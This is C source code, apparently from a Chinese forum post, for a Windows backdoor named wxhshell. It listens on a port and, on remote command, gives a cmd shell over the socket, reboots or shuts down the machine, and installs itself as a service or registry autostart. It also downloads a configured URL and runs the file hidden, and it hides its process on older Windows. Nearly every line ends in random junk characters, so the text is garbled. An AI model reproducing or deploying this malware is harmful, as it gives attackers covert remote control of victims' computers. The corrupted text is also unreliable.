    switch(cmd[0]) { _Z66[T+M  
  )cqDvH  
  // 帮助 UQ.D!q  
  case '?': { j YIV^o 0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j_'rhEdLP  
    break; x1V2|~;p|  
  } Ie&b <k  
  // 安装 eMl]td rI  
  case 'i': { ^c0$pqZ}r  
    if(Install()) y.*=Ww+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kuj1 2  
    else KjwY'aYwr:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %][$y 7  
    break; [X">vaa  
    } DR yESi  
  // 卸载 PVD ~W)0m*  
  case 'r': { ?%xhe  
    if(Uninstall()) teOBsFy/I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "H="Ip!s  
    else x !:9c<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !` M;#  
    break; 3q|cZQK!1  
    } NB W%.z  
  // 显示 wxhshell 所在路径 [cQ<dVaTX  
  case 'p': { B=gsd0^]  
    char svExeFile[MAX_PATH]; |j~EV~A J  
    strcpy(svExeFile,"\n\r"); UrhM)h?%  
      strcat(svExeFile,ExeFile); Z'}(t,  
        send(wsh,svExeFile,strlen(svExeFile),0); Vy% :\p+  
    break; wsJ%* eYf  
    } #mRFUA  
  // 重启 LE<u&9I\  
  case 'b': { 6_%]\37_Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2l)9Lz=;L  
    if(Boot(REBOOT)) 7edPH3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G_^iR-  
    else { ^YG7dd_  
    closesocket(wsh); 5&?KW)6 Rz  
    ExitThread(0); (3N"oE.b]  
    } ia^%Wg7  
    break; P!FEh'.  
    } t8DL9RW'  
  // 关机 {C/L5cZ]J  
  case 'd': { k'@7ZH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YXX36  
    if(Boot(SHUTDOWN)) q[)q|R|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]|,q|c,  
    else { 5 PGlR!^  
    closesocket(wsh); dSe8vA!)  
    ExitThread(0); r:c@17  
    } '_.q_Tf-^  
    break; Qst \b8,  
    } crJ7pe9  
  // 获取shell f2O*8^^Y{Q  
  case 's': { zNV!@Yr  
    CmdShell(wsh); z/Ns5  
    closesocket(wsh); >~5lYD  
    ExitThread(0); g|K6iY  
    break; Z;GIlgK9  
  } X-)RU?  
  // 退出 fO^e+M z  
  case 'x': { cBLR#Yu;O5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AXl!cgi  
    CloseIt(wsh); j{{~ZM  
    break; t['k%c  
    } 'dIX=/RZ  
  // 离开 v[{8G^Z}54  
  case 'q': { F l_dzh,E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sK`~Csb iB  
    closesocket(wsh); n#+%!HTh  
    WSACleanup(); )-+\M_JK5  
    exit(1); j3x^<a\gJ  
    break; <%d51~@={I  
        } gDQkn {T.%  
  } .D8~)ZWN  
  } eg"=H50  
aho'|%y)  
  // 提示信息 cOSxg=~>u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eyeNrk*2o  
} m~)Fr8Wh6  
  } bZNIxkc[Dh  
{OB-J\7Y  
  return; vKNt$]pm=  
} m:)Z6  
(Wd_G-da  
// shell模块句柄 nu&_gF,{  
int CmdShell(SOCKET sock) :+~KPn>w5  
{ _PXG AS  
STARTUPINFO si; RAIVdQ}.Z  
ZeroMemory(&si,sizeof(si)); aO8c h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]y3pE}R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #TMm#?lC  
PROCESS_INFORMATION ProcessInfo; 9=t#5J#O  
char cmdline[]="cmd"; Qq#Ff\|4u(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J\het 2?\  
  return 0; L([E98fo  
} 9z5\*b s  
v5(q) h  
// 自身启动模式 !p }`kG  
int StartFromService(void) H>60D|v[  
{ {S[I_\3  
typedef struct ry.;u*F  
{ +>JdYV<?0  
  DWORD ExitStatus; j?EskT6  
  DWORD PebBaseAddress; h ?uqLsRl  
  DWORD AffinityMask; 06 QU  
  DWORD BasePriority; 5Z/yhF.{  
  ULONG UniqueProcessId; 5]jx5!N  
  ULONG InheritedFromUniqueProcessId; )O,wRd>5  
}   PROCESS_BASIC_INFORMATION; CF]i}xpWV  
=%!e(N'p  
PROCNTQSIP NtQueryInformationProcess; ePf+[pV3  
Dc08D4   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (+|X<Bl:`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b,nn&B5@{  
OE_ QInb<  
  HANDLE             hProcess; q`XW5VV{K  
  PROCESS_BASIC_INFORMATION pbi; 7FAIew\r  
 l B1#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p6`Pp"J_tr  
  if(NULL == hInst ) return 0; z< z*Wz  
0y)}.'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !X^Hi=aV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :6XguU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /\na;GI$  
k!5m@'f  
  if (!NtQueryInformationProcess) return 0; FY$fV"s  
gX[|;IZ0o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )FRM_$t  
  if(!hProcess) return 0; bF*NWm$Lf  
|+>uA[6#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {3VZ3i  
pD"YNlB^  
  CloseHandle(hProcess); /D]Kkm)  
*c{wtl@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J^ `hbP+2  
if(hProcess==NULL) return 0; 8O>}k  
>*IN  
HMODULE hMod; rah,dVE]  
char procName[255]; }.p<wCPy6  
unsigned long cbNeeded; + :Vrip  
/D<"wF }@J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _5mc('  
f\fdg].!  
  CloseHandle(hProcess); |'tW=  
@5WgqB  
if(strstr(procName,"services")) return 1; // 以服务启动 r!7Y'|  
3{KR {B#L  
  return 0; // 注册表启动 J1bA2+5.*e  
} $(ewk):  
^(ScgoXva  
// 主模块 2R]&v;A  
int StartWxhshell(LPSTR lpCmdLine)  9:5:`' b  
{ vv6?V#{  
  SOCKET wsl; j Fma|y  
BOOL val=TRUE; EM@ ;3.IO  
  int port=0; ibJHU@l  
  struct sockaddr_in door; -T7xK/  
4[TR0bM%  
  if(wscfg.ws_autoins) Install(); 9Y/L?km_(  
,vV ]"f  
port=atoi(lpCmdLine); .x!T+`l>8I  
i(*I@ku  
if(port<=0) port=wscfg.ws_port; *5e+@rD`  
Bd@'e7{  
  WSADATA data; 3J{vt"dS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZQ3_y $  
%r;w;`/hA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?vgH"W~3>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NBjeH tT  
  door.sin_family = AF_INET; @b2`R3}9R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c8{]]  
  door.sin_port = htons(port); JS2nXs1  
. w H*sb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y#FO5O%W  
closesocket(wsl); >E:<E'L  
return 1; ,LZX@'5  
} =p@8z /u  
;Wc4qJ.@  
  if(listen(wsl,2) == INVALID_SOCKET) { (vc|7DX M  
closesocket(wsl);  iEIg:  
return 1; ?7[alV~  
} '9s5OTkN ;  
  Wxhshell(wsl); w5KPB5/zu  
  WSACleanup(); 1f#mHt:(  
fr[3:2g-_  
return 0; r[_4Lo @G  
"CQw/qZw  
} |Ps% M|8~  
[mUBHYD7OI  
// 以NT服务方式启动 y#v"GblM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <YFY{VC(  
{ ]3B%8  
DWORD   status = 0; 15{Y9!  
  DWORD   specificError = 0xfffffff; GKiukX$'  
v>A=2i*j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4 o(bxs"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q7gY3flg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9!U@"~yB  
  serviceStatus.dwWin32ExitCode     = 0; -?6MU~"GK  
  serviceStatus.dwServiceSpecificExitCode = 0; ~]'pY  
  serviceStatus.dwCheckPoint       = 0; U7iuY~L  
  serviceStatus.dwWaitHint       = 0; I]nHbghcW  
w,1Ii}d9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }P9Ap3?  
  if (hServiceStatusHandle==0) return; 1mH%H*#  
R}:KE&tq  
status = GetLastError(); !}KqB8;  
  if (status!=NO_ERROR) BVw Wj-,  
{ (k`{*!:1a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q;u SWt<{  
    serviceStatus.dwCheckPoint       = 0; 1l8Etp&<  
    serviceStatus.dwWaitHint       = 0; 6rN(_Oi-  
    serviceStatus.dwWin32ExitCode     = status; B[5r|d'  
    serviceStatus.dwServiceSpecificExitCode = specificError; xJZ@DR,#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2; `=P5V  
    return; %Sk@GNI_  
  } v4Ga0]VN$8  
RthT \%R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WO</Mw  
  serviceStatus.dwCheckPoint       = 0; aj\nrD1  
  serviceStatus.dwWaitHint       = 0; =~KsS }`1,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !yOeW0/2[  
} SC &~s$P;  
jJZgK$5+  
// 处理NT服务事件,比如:启动、停止 C'A]i5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1 " #*)MF  
{ _7T@5\b:;  
switch(fdwControl) SP]IUdE\  
{ p4K.NdUH  
case SERVICE_CONTROL_STOP: o4b~4 h{%  
  serviceStatus.dwWin32ExitCode = 0; ;z~n.0'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >q~l21dUi  
  serviceStatus.dwCheckPoint   = 0; ,Gk}"w  
  serviceStatus.dwWaitHint     = 0; mTNVU@TY=  
  { `Y=WMNy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *i{Y9f8  
  } f.B>&%JRZ  
  return; 6 sxffJt  
case SERVICE_CONTROL_PAUSE: f:B>zp;N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gfp1mev   
  break; LPYbHo3fq  
case SERVICE_CONTROL_CONTINUE: +>~?m*$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; in`aGFQO  
  break; I zbU)ud  
case SERVICE_CONTROL_INTERROGATE: VdSv  
  break; D}C,![   
}; xVL5'y1g B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Em 6Qe  
} ORXm&z)  
2`GE  
// 标准应用程序主函数 S& #U!#@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qn1255fB  
{ [YrHA~=U  
z@Q@^ &0Mr  
// 获取操作系统版本 ,j:|w+l  
OsIsNt=GetOsVer(); dz [!-M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); + Q=1AXe  
/2EHv.e `  
  // 从命令行安装 B+C);WQ,  
  if(strpbrk(lpCmdLine,"iI")) Install(); ae"]\a\&1o  
3p2P= T  
  // 下载执行文件 Hn>B!Bm*  
if(wscfg.ws_downexe) { Y HSYu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Uw,2}yR  
  WinExec(wscfg.ws_filenam,SW_HIDE); fFj grK8  
} 7XKY]|S,'  
f7h*Vu`>  
if(!OsIsNt) { \Y6WSj?E  
// 如果时win9x,隐藏进程并且设置为注册表启动 #ET/ =  
HideProc(); }ENR{vz$A  
StartWxhshell(lpCmdLine); ZxV"(\$n  
} [aI]y =v  
else U9D!GKVp  
  if(StartFromService()) ?bM_q_5  
  // 以服务方式启动 \#o2\!@`  
  StartServiceCtrlDispatcher(DispatchTable); WDFjp  
else !T](Udf  
  // 普通方式启动 bAKiq}xG%i  
  StartWxhshell(lpCmdLine); &Ysosy*  
d*)CT?d&  
return 0; x(<(t: ?o  
}
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只看该作者 1 发表于: 2006-10-10
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